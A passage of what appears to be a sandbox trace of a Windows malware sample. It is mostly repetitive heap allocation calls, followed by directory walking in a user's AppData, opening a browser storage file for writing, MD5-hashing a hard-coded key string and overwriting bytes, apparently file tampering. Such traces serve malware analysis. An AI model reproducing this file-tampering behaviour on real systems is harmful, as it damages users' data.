0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.629] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.629] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.630] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.630] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.631] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.631] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.632] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.632] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.633] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.633] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.634] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.634] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109998 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0114.634] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ec028 [0114.634] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109998 | out: hHeap=0x5010000) returned 1 [0114.634] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.634] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0114.635] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0114.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0114.635] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0114.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0114.635] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0114.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0114.635] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.635] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0114.635] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.635] PathFindFileNameW (pszPath="") returned="" [0114.635] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.635] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.636] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.636] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0114.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.636] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11e) returned 0x79f8730 [0114.636] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.636] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0114.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.637] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=13) returned 1 [0114.637] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.639] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.639] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xd, lpOverlapped=0x0) returned 1 [0114.640] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0114.640] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.640] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.640] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0114.641] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.641] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.641] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0114.641] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.641] GetLastError () returned 0x0 [0114.641] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.641] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0114.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0114.641] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0114.641] WriteFile (in: hFile=0x61c, lpBuffer=0x825fb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x825fb34*, lpNumberOfBytesWritten=0x825fb24*=0x8, lpOverlapped=0x0) returned 1 [0114.641] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0114.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0114.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", 